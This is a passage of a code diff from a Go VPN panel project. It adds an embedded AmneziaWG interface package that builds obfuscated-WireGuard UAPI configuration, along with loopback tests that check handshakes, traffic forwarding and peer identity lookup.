+	// requirement) -- IpcSet will reject the config otherwise.
+	HeaderProtectionKey string
+	// ContentPaddingAddition, RekeyAfterTime, RekeyTimeout, RejectAfterTime,
+	// KeepaliveTimeout, and MaxHandshakeAttempts are each a "low-high" range
+	// (or a bare integer), amneziawg-go's own UintRange.FromString grammar
+	// (confirmed directly against v3.0.3's device/uapi.go -- all six share
+	// the identical parser). Empty leaves that one field at amneziawg-go's
+	// own default.
+	ContentPaddingAddition string
+	RekeyAfterTime         string
+	RekeyTimeout           string
+	RejectAfterTime        string
+	KeepaliveTimeout       string
+	MaxHandshakeAttempts   string
+	// RandomTrailers and DisableCookies are AmneziaWG 3.1's two device-wide
+	// bool toggles (confirmed against amneziawg-go v3.1.20260814's
+	// device/uapi.go: "random_trailers"/"disable_cookies", both
+	// strconv.ParseBool). Unlike the string fields above, buildUAPIConfig
+	// emits these unconditionally on every call -- a bool has no "absent"
+	// value to gate on, and always emitting both means the reconfigure-
+	// in-place diff correctly notices a true->false edit, not just
+	// false->true. RandomTrailers requires the peer to also run AmneziaWG
+	// 3.1+ with it enabled: amneziawg-go's own receive path only accepts
+	// an oversized (trailer-padded) packet when the RECEIVING side's own
+	// RandomTrailers is also true, so a one-sided setting makes that
+	// side's packets start getting silently dropped by the other.
+	// DisableCookies is purely local (no peer-side coordination needed)
+	// but trades away WireGuard's handshake-flood DoS-protection cookie
+	// replies for a less distinctive packet shape during a flood.
+	RandomTrailers bool
+	DisableCookies bool
+	// Logger is passed to device.NewDevice as-is; nil uses a silent logger
+	// (device.NewLogger(device.LogLevelSilent, "")).
+	Logger *device.Logger
+}
+
+// Device is one running embedded AmneziaWG interface: an amneziawg-go
+// Device over a gVisor netstack, plus the raw *stack.Stack a caller needs to
+// attach a TCP/UDP forwarder (see forwarder.go / udp.go). Closing it tears
+// down both the WireGuard device and the underlying tun/stack.
+type Device struct {
+	*device.Device
+	Stack *stack.Stack
+}
+
+// NewDevice constructs, configures, and brings up an embedded AmneziaWG
+// interface for inst in one call: a gVisor-backed tun.Device sized to
+// inst.MTU (or defaultMTU), addressed with inst.Address, configured via
+// UAPI with inst.Obfuscation, inst.PrivateKey, opts' AWG 3.0 fields, and one
+// UAPI peer per inst.Peers entry. It does not attach a forwarder or start
+// relaying traffic -- that's the caller's job (see AttachTCPForwarder /
+// AttachUDPHandler) -- which is exactly why a caller that will relay real
+// traffic must NOT use this function: see newUnconfiguredDevice's doc
+// comment for why, and use newUnconfiguredDevice + Configure instead.
+func NewDevice(inst amneziawg.Instance, opts DeviceOptions) (*Device, error) {
+	dev, err := newUnconfiguredDevice(inst, opts)
+	if err != nil {
+		return nil, err
+	}
+	if err := dev.Configure(inst, opts); err != nil {
+		return nil, err
+	}
+	return dev, nil
+}
+
+// newUnconfiguredDevice builds the tun/netstack/device trio but does not
+// configure any peers or bring the interface up -- a caller that will relay
+// real traffic MUST attach its TCP/UDP handlers (AttachTCPForwarder /
+// AttachUDPHandler) against the returned Device.Stack BEFORE calling
+// Configure, not after.
+//
+// This ordering is not a style preference: Configure's IpcSet is what
+// starts each configured peer's receive goroutine (amneziawg-go's
+// Peer.Start, called from handlePostConfig), and a peer whose handshake
+// completes fast enough (e.g. an already-connected client reconnecting
+// right as an MTU/address change forces this package's own Manager to
+// rebuild the Device) can begin delivering packets into the stack
+// immediately -- concurrently with a caller that only calls
+// gstack.SetTransportProtocolHandler (AttachTCPForwarder/AttachUDPHandler)
+// after Configure returns. A -race CI run caught exactly this as a real
+// WARNING: DATA RACE between stack.(*nic).DeliverTransportPacket (the
+// peer's receive goroutine, reading the handler table) and
+// stack.(*Stack).SetTransportProtocolHandler (the attaching goroutine,
+// writing it). See manager.go's ensureLocked rebuild branch for the real
+// call order this function exists to support.
+func newUnconfiguredDevice(inst amneziawg.Instance, opts DeviceOptions) (*Device, error) {
+	addrs, err := hostAddresses(inst.Address)
+	if err != nil {
+		return nil, fmt.Errorf("amneziawgnet: %w", err)
+	}
+
+	mtu := inst.MTU
+	if mtu <= 0 {
+		mtu = defaultMTU
+	}
+
+	tun, gstack, err := createNetTUNWithStack(addrs, mtu)
+	if err != nil {
+		return nil, fmt.Errorf("amneziawgnet: create netstack: %w", err)
+	}
+
+	logger := opts.Logger
+	if logger == nil {
+		logger = device.NewLogger(device.LogLevelSilent, "")
+	}
+	dev := device.NewDevice(tun, awgconn.NewDefaultBind(), logger)
+
+	return &Device{Device: dev, Stack: gstack}, nil
+}
+
+// Configure applies inst/opts to d via UAPI and brings the interface up.
+// Call at most once per Device, and -- for any caller relaying real
+// traffic -- only after any AttachTCPForwarder/AttachUDPHandler
+// registration against d.Stack (see newUnconfiguredDevice's doc comment
+// for why the order matters). Closes d and returns an error if either step
+// fails; the caller owns closing anything else it already built against
+// d.Stack in that case (e.g. a UDP relay or port-forward set).
+func (d *Device) Configure(inst amneziawg.Instance, opts DeviceOptions) error {
+	conf, err := buildUAPIConfig(inst, opts)
+	if err != nil {
+		d.Close()
+		return fmt.Errorf("amneziawgnet: %w", err)
+	}
+	if err := d.IpcSet(conf); err != nil {
+		d.Close()
+		return fmt.Errorf("amneziawgnet: IpcSet for inbound %d: %w", inst.Id, err)
+	}
+	if err := d.Up(); err != nil {
+		d.Close()
+		return fmt.Errorf("amneziawgnet: bring up inbound %d: %w", inst.Id, err)
+	}
+	return nil
+}
+
+// hostAddresses parses each of inst.Address's CIDR strings (e.g.
+// "10.8.1.1/24") down to the bare host address the netstack's NIC gets
+// configured with -- the interface's own address, not the subnet it routes.
+func hostAddresses(addresses []string) ([]netip.Addr, error) {
+	out := make([]netip.Addr, 0, len(addresses))
+	for _, a := range addresses {
+		prefix, err := netip.ParsePrefix(a)
+		if err != nil {
+			return nil, fmt.Errorf("invalid interface address %q: %w", a, err)
+		}
+		out = append(out, prefix.Addr())
+	}
+	return out, nil
+}
+
+// buildUAPIConfig renders inst (plus opts' AWG 3.0 fields) as a WireGuard
+// UAPI "set" configuration string -- private_key/listen_port/jc.../s1-s4/
+// h1-h4/i1-i5 device lines, the AWG 3.0 device lines when opts asks for them,
+// then one public_key/preshared_key/allowed_ip block per peer. Field names
+// and format match amneziawg-go v3.0.3's device/uapi.go exactly (confirmed
+// against its real source during Phase 0 spiking, not just its docs).
+func buildUAPIConfig(inst amneziawg.Instance, opts DeviceOptions) (string, error) {
+	var b strings.Builder
+
+	privHex, err := wireguard.KeyToHex(inst.PrivateKey)
+	if err != nil {
+		return "", fmt.Errorf("invalid server private key: %w", err)
+	}
+	fmt.Fprintf(&b, "private_key=%s\n", privHex)
+	fmt.Fprintf(&b, "listen_port=%d\n", inst.ListenPort)
+	// replace_peers makes every apply a full resync (matches this package's
+	// own Manager.Ensure semantics): peers no longer in inst.Peers are
+	// dropped instead of lingering from a previous IpcSet call.
+	b.WriteString("replace_peers=true\n")
+
+	o := inst.Obfuscation
+	fmt.Fprintf(&b, "jc=%d\njmin=%d\njmax=%d\n", o.Jc, o.Jmin, o.Jmax)
+	fmt.Fprintf(&b, "s1=%d\ns2=%d\ns3=%d\ns4=%d\n", o.S1, o.S2, o.S3, o.S4)
+	writeOptionalLine(&b, "h1", o.H1)
+	writeOptionalLine(&b, "h2", o.H2)
+	writeOptionalLine(&b, "h3", o.H3)
+	writeOptionalLine(&b, "h4", o.H4)
+	writeOptionalLine(&b, "i1", o.I1)
+	writeOptionalLine(&b, "i2", o.I2)
+	writeOptionalLine(&b, "i3", o.I3)
+	writeOptionalLine(&b, "i4", o.I4)
+	writeOptionalLine(&b, "i5", o.I5)
+
+	if opts.HeaderProtectionKey != "" {
+		hpHex, err := wireguard.KeyToHex(opts.HeaderProtectionKey)
+		if err != nil {
+			return "", fmt.Errorf("invalid header protection key: %w", err)
+		}
+		fmt.Fprintf(&b, "header_protection_key=%s\n", hpHex)
+	}
+	if opts.ContentPaddingAddition != "" {
+		fmt.Fprintf(&b, "content_padding_addition=%s\n", opts.ContentPaddingAddition)
+	}
+	if opts.RekeyAfterTime != "" {
+		fmt.Fprintf(&b, "rekey_after_time=%s\n", opts.RekeyAfterTime)
+	}
+	if opts.RekeyTimeout != "" {
+		fmt.Fprintf(&b, "rekey_timeout=%s\n", opts.RekeyTimeout)
+	}
+	if opts.RejectAfterTime != "" {
+		fmt.Fprintf(&b, "reject_after_time=%s\n", opts.RejectAfterTime)
+	}
+	if opts.KeepaliveTimeout != "" {
+		fmt.Fprintf(&b, "keepalive_timeout=%s\n", opts.KeepaliveTimeout)
+	}
+	if opts.MaxHandshakeAttempts != "" {
+		fmt.Fprintf(&b, "max_handshake_attempts=%s\n", opts.MaxHandshakeAttempts)
+	}
+	fmt.Fprintf(&b, "random_trailers=%t\n", opts.RandomTrailers)
+	fmt.Fprintf(&b, "disable_cookies=%t\n", opts.DisableCookies)
+
+	for _, p := range inst.Peers {
+		pubHex, err := wireguard.KeyToHex(p.PublicKey)
+		if err != nil {
+			return "", fmt.Errorf("peer %q: invalid public key: %w", p.Email, err)
+		}
+		fmt.Fprintf(&b, "public_key=%s\n", pubHex)
+		if p.PresharedKey != "" {
+			pskHex, err := wireguard.KeyToHex(p.PresharedKey)
+			if err != nil {
+				return "", fmt.Errorf("peer %q: invalid preshared key: %w", p.Email, err)
+			}
+			fmt.Fprintf(&b, "preshared_key=%s\n", pskHex)
+		}
+		for _, allowedIP := range p.AllowedIPs {
+			fmt.Fprintf(&b, "allowed_ip=%s\n", allowedIP)
+		}
+	}
+
+	return b.String(), nil
+}
+
+// writeOptionalLine writes a "name=v" UAPI line only when v is set -- used for
+// h1-h4 and i1-i5, whose empty value means "let amneziawg-go fall back to its
+// own default," mirroring how internal/amneziawg's generateServerConfig
+// treats the same optional fields.
+func writeOptionalLine(b *strings.Builder, name, v string) {
+	if v == "" {
+		return
+	}
+	fmt.Fprintf(b, "%s=%s\n", name, v)
+}

+ 550 - 0
internal/amneziawgnet/device_test.go

@@ -0,0 +1,550 @@
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"net/netip"
+	"strings"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestNewDeviceHandshakeForwarderAndIdentity is Phase 1's real end-to-end
+// proof, not just a compile check: a genuine amneziawg-go client (via that
+// project's own tun/netstack.CreateNetTUN -- the client side doesn't need a
+// forwarder or peer-identity resolution, only this package's server side
+// does) completes a real 3-way handshake against a Device built by
+// NewDevice, dials a destination that was never configured anywhere on the
+// server, and the test verifies AttachTCPForwarder recovers that exact
+// destination *and* PeerIndex.Lookup resolves the connection's source back
+// to the right peer's Email -- Phase 1a/1b/1c working together, the same
+// mechanism Phase 0's throwaway spike validated, now as a real, repo-owned,
+// repeatable test instead of scratch code.
+func TestNewDeviceHandshakeForwarderAndIdentity(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58712 // fixed loopback test port, matches the validated Phase 0 spike approach
+	const wantEmail = "[email protected]"
+
+	inst := amneziawg.Instance{
+		Id:            1,
+		InterfaceName: "awgtest1",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.201.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      wantEmail,
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.201.0.2/32"},
+		}},
+	}
+
+	dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	idx := NewPeerIndex(inst.Peers)
+
+	type recovered struct {
+		email string
+		ok    bool
+		dest  netip.AddrPort
+	}
+	got := make(chan recovered, 1)
+
+	// Never configured anywhere server-side: the forwarder must recover it
+	// purely from the decapsulated packet, not from any routing table.
+	wantDest := netip.MustParseAddrPort("10.201.9.9:9999")
+
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		defer conn.Close()
+		srcAddrPort, parseErr := netip.ParseAddrPort(conn.RemoteAddr().String())
+		var peer amneziawg.Peer
+		var ok bool
+		if parseErr == nil {
+			peer, ok = idx.Lookup(srcAddrPort.Addr().Unmap())
+		}
+		got <- recovered{email: peer.Email, ok: ok, dest: dest}
+		io.Copy(io.Discard, conn)
+	})
+
+	// Configure (IpcSet) must come after AttachTCPForwarder -- see
+	// newUnconfiguredDevice's doc comment: IpcSet is what starts the peer's
+	// receive goroutine, which must never be able to run before the
+	// forwarder is registered on the stack.
+	if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.201.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	// allowed_ip=0.0.0.0/0 on the client matches a real VPN client's own
+	// config (route everything through the tunnel) -- it's also what makes
+	// dialing an arbitrary, never-configured destination like wantDest
+	// actually get routed to the server peer at all: a narrower AllowedIPs
+	// here would make the client's own Device drop the packet as
+	// non-matching before it ever reached the wire.
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	// Retry the dial rather than guessing a fixed handshake delay: the
+	// first attempts may race the handshake, later ones should succeed
+	// once it completes.
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var lastErr error
+	for {
+		conn, dialErr := clientNet.DialContext(dialCtx, "tcp", wantDest.String())
+		if dialErr == nil {
+			conn.Close()
+			break
+		}
+		lastErr = dialErr
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("client dial never succeeded: %v", lastErr)
+		case <-time.After(100 * time.Millisecond):
+		}
+	}
+
+	select {
+	case r := <-got:
+		if !r.ok {
+			t.Fatal("forwarder: peer identity lookup failed for the recovered connection")
+		}
+		if r.email != wantEmail {
+			t.Errorf("resolved peer email = %q, want %q", r.email, wantEmail)
+		}
+		if r.dest != wantDest {
+			t.Errorf("recovered destination = %v, want %v", r.dest, wantDest)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for the forwarder to hand back the recovered connection")
+	}
+}
+
+// TestBuildUAPIConfigHeaderProtectionAndContentPaddingLines is a cheap,
+// network-free companion to the real round-trip test below: confirms the 2
+// AWG 3.0 UAPI lines only appear when set, and that a malformed
+// HeaderProtectionKey surfaces a clear, wrapped error instead of silently
+// producing a UAPI string amneziawg-go's own IpcSet would reject uselessly.
+func TestBuildUAPIConfigHeaderProtectionAndContentPaddingLines(t *testing.T) {
+	priv, _, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate keypair: %v", err)
+	}
+	inst := amneziawg.Instance{
+		PrivateKey: priv,
+		Obfuscation: amneziawg.Obfuscation31{
+			S1: 20, S2: 20, S3: 20, S4: 20,
+		},
+	}
+
+	conf, err := buildUAPIConfig(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("buildUAPIConfig with empty options: %v", err)
+	}
+	if strings.Contains(conf, "header_protection_key=") || strings.Contains(conf, "content_padding_addition=") {
+		t.Fatalf("empty DeviceOptions must not emit AWG 3.0 lines, got:\n%s", conf)
+	}
+
+	key, err := wireguard.GenerateWireguardPSK()
+	if err != nil {
+		t.Fatalf("generate header protection key: %v", err)
+	}
+	conf, err = buildUAPIConfig(inst, DeviceOptions{HeaderProtectionKey: key, ContentPaddingAddition: "20-40"})
+	if err != nil {
+		t.Fatalf("buildUAPIConfig with AWG 3.0 options: %v", err)
+	}
+	if !strings.Contains(conf, "header_protection_key=") {
+		t.Errorf("expected a header_protection_key= line, got:\n%s", conf)
+	}
+	if !strings.Contains(conf, "content_padding_addition=20-40\n") {
+		t.Errorf("expected a content_padding_addition=20-40 line, got:\n%s", conf)
+	}
+
+	if _, err := buildUAPIConfig(inst, DeviceOptions{HeaderProtectionKey: "not-a-valid-base64-key"}); err == nil {
+		t.Fatal("a malformed HeaderProtectionKey must be rejected, not silently passed through")
+	}
+}
+
+// TestNewDeviceHeaderProtectionAndContentPaddingRoundTrip is the real proof
+// behind AmneziaWG 3.0's admin-facing HeaderProtectionKey/
+// ContentPaddingAddition fields: a genuine amneziawg-go client, configured
+// with matching header_protection_key/content_padding_addition UAPI lines
+// (S1-S4 all >= 12, the hard requirement amneziawg-go's own IpcSet enforces
+// for header protection), completes a real handshake against a Device built
+// via NewDevice/DeviceOptions and exchanges real application data both
+// directions through it. This is more than a handshake-completed check --
+// it also confirms actual payload bytes survive content padding on both the
+// send and receive sides, the specific area a third-party AmneziaWG
+// installer project's docs flagged a past interop concern for (see the
+// migration plan's own risk note); it is not a substitute for real-VPS
+// verification against the official client, but it is the cheapest
+// available local check against a regression in either engine's own padding
+// handling.
+func TestNewDeviceHeaderProtectionAndContentPaddingRoundTrip(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+	headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+	if err != nil {
+		t.Fatalf("generate header protection key: %v", err)
+	}
+
+	const listenPort = 58713 // fixed loopback test port, distinct from the handshake test above
+	const contentPaddingAddition = "20-40"
+
+	inst := amneziawg.Instance{
+		Id:            2,
+		InterfaceName: "awgtest2",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.202.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20, // all >= 12, required for header protection
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      "[email protected]",
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.202.0.2/32"},
+		}},
+	}
+
+	opts := DeviceOptions{
+		HeaderProtectionKey:    headerProtectionKey,
+		ContentPaddingAddition: contentPaddingAddition,
+	}
+	dev, err := newUnconfiguredDevice(inst, opts)
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	const wantRequest = "hello from client"
+	const wantReply = "hello from server"
+	serverDone := make(chan error, 1)
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		defer conn.Close()
+		buf := make([]byte, len(wantRequest))
+		if _, err := io.ReadFull(conn, buf); err != nil {
+			serverDone <- fmt.Errorf("server read: %w", err)
+			return
+		}
+		if string(buf) != wantRequest {
+			serverDone <- fmt.Errorf("server got %q, want %q", buf, wantRequest)
+			return
+		}
+		if _, err := conn.Write([]byte(wantReply)); err != nil {
+			serverDone <- fmt.Errorf("server write: %w", err)
+			return
+		}
+		serverDone <- nil
+	})
+
+	// Configure (IpcSet) must come after AttachTCPForwarder -- see
+	// newUnconfiguredDevice's doc comment.
+	if err := dev.Configure(inst, opts); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	headerProtectionKeyHex, err := wireguard.KeyToHex(headerProtectionKey)
+	if err != nil {
+		t.Fatalf("header protection key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\nheader_protection_key=%s\ncontent_padding_addition=%s\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, headerProtectionKeyHex, contentPaddingAddition, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var conn net.Conn
+	for {
+		c, dialErr := clientNet.DialContext(dialCtx, "tcp", "10.202.9.9:9999")
+		if dialErr == nil {
+			conn = c
+			break
+		}
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("client dial never succeeded: %v", dialErr)
+		case <-time.After(100 * time.Millisecond):
+		}
+	}
+	defer conn.Close()
+
+	if _, err := conn.Write([]byte(wantRequest)); err != nil {
+		t.Fatalf("client write: %v", err)
+	}
+	if err := conn.SetReadDeadline(time.Now().Add(5 * time.Second)); err != nil {
+		t.Fatalf("SetReadDeadline: %v", err)
+	}
+	reply := make([]byte, len(wantReply))
+	if _, err := io.ReadFull(conn, reply); err != nil {
+		t.Fatalf("client read reply: %v", err)
+	}
+	if string(reply) != wantReply {
+		t.Fatalf("client got reply %q, want %q", reply, wantReply)
+	}
+
+	select {
+	case err := <-serverDone:
+		if err != nil {
+			t.Fatalf("server side: %v", err)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for the server side to finish")
+	}
+}
+
+func TestBuildUAPIConfigRandomTrailersAndDisableCookiesLines(t *testing.T) {
+	priv, _, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate keypair: %v", err)
+	}
+	inst := amneziawg.Instance{PrivateKey: priv}
+
+	// Unlike HeaderProtectionKey/ContentPaddingAddition, these two lines
+	// must always be present -- see DeviceOptions.RandomTrailers's own doc
+	// comment on why an absent line (instead of an explicit "false") would
+	// break the reconfigure-in-place diff for a true->false edit.
+	conf, err := buildUAPIConfig(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("buildUAPIConfig with empty options: %v", err)
+	}
+	if !strings.Contains(conf, "random_trailers=false\n") {
+		t.Errorf("expected an explicit random_trailers=false line even when unset, got:\n%s", conf)
+	}
+	if !strings.Contains(conf, "disable_cookies=false\n") {
+		t.Errorf("expected an explicit disable_cookies=false line even when unset, got:\n%s", conf)
+	}
+
+	conf, err = buildUAPIConfig(inst, DeviceOptions{RandomTrailers: true, DisableCookies: true})
+	if err != nil {
+		t.Fatalf("buildUAPIConfig with both enabled: %v", err)
+	}
+	if !strings.Contains(conf, "random_trailers=true\n") {
+		t.Errorf("expected a random_trailers=true line, got:\n%s", conf)
+	}
+	if !strings.Contains(conf, "disable_cookies=true\n") {
+		t.Errorf("expected a disable_cookies=true line, got:\n%s", conf)
+	}
+}
+
+// TestNewDeviceRandomTrailersAndDisableCookiesRoundTrip is the real proof
+// behind AmneziaWG 3.1's two new device-wide toggles: a genuine amneziawg-go
+// client with matching random_trailers=true/disable_cookies=true UAPI lines
+// completes a real handshake against a Device built via NewDevice/
+// DeviceOptions and exchanges real application data both directions through
+// it. This specifically exercises amneziawg-go's receive.go size-matching
+// path for RandomTrailers (device_test.go's HeaderProtection test doesn't
+// enable it), which only accepts a message when
+// `size == expectedSize || randomTrailers && size > expectedSize` -- proof
+// that setting it on both ends really does interoperate, not just that
+// IpcSet accepts the value.
+func TestNewDeviceRandomTrailersAndDisableCookiesRoundTrip(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58721 // fixed loopback test port, distinct from every other test in this package
+
+	inst := amneziawg.Instance{
+		Id:            3,
+		InterfaceName: "awgtest3",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.203.0.1/24"},
+		MTU:           1420,
+		Peers: []amneziawg.Peer{{
+			Email:      "[email protected]",
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.203.0.2/32"},
+		}},
+	}
+
+	opts := DeviceOptions{RandomTrailers: true, DisableCookies: true}
+	dev, err := newUnconfiguredDevice(inst, opts)
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	const wantRequest = "hello from client, with a trailer"
+	const wantReply = "hello from server, with a trailer"
+	serverDone := make(chan error, 1)
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		defer conn.Close()
+		buf := make([]byte, len(wantRequest))
+		if _, err := io.ReadFull(conn, buf); err != nil {
+			serverDone <- fmt.Errorf("server read: %w", err)
+			return
+		}
+		if string(buf) != wantRequest {
+			serverDone <- fmt.Errorf("server got %q, want %q", buf, wantRequest)
+			return
+		}
+		if _, err := conn.Write([]byte(wantReply)); err != nil {
+			serverDone <- fmt.Errorf("server write: %w", err)
+			return
+		}
+		serverDone <- nil
+	})
+
+	// Configure (IpcSet) must come after AttachTCPForwarder -- see
+	// newUnconfiguredDevice's doc comment.
+	if err := dev.Configure(inst, opts); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.203.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\nrandom_trailers=true\ndisable_cookies=true\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var conn net.Conn
+	for {
+		c, dialErr := clientNet.DialContext(dialCtx, "tcp", "10.203.9.9:9999")
+		if dialErr == nil {
+			conn = c
+			break
+		}
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("client dial never succeeded: %v", dialErr)
+		case <-time.After(100 * time.Millisecond):
+		}
+	}
+	defer conn.Close()
+
+	if _, err := conn.Write([]byte(wantRequest)); err != nil {
+		t.Fatalf("client write: %v", err)
+	}
+	if err := conn.SetReadDeadline(time.Now().Add(5 * time.Second)); err != nil {
+		t.Fatalf("SetReadDeadline: %v", err)
+	}
+	reply := make([]byte, len(wantReply))
+	if _, err := io.ReadFull(conn, reply); err != nil {
+		t.Fatalf("client read reply: %v", err)
+	}
+	if string(reply) != wantReply {
+		t.Fatalf("client got reply %q, want %q", reply, wantReply)
+	}
+
+	select {
+	case err := <-serverDone:
+		if err != nil {
+			t.Fatalf("server side: %v", err)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for the server side to finish")
+	}
+}

+ 140 - 0
internal/amneziawgnet/diagnostics.go

@@ -0,0 +1,140 @@
+package amneziawgnet
+
+import (
+	"bufio"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// ClientDiagnostic is one configured peer's live state, cross-referenced
+// from the running Device's own UAPI dump against the peer list the caller
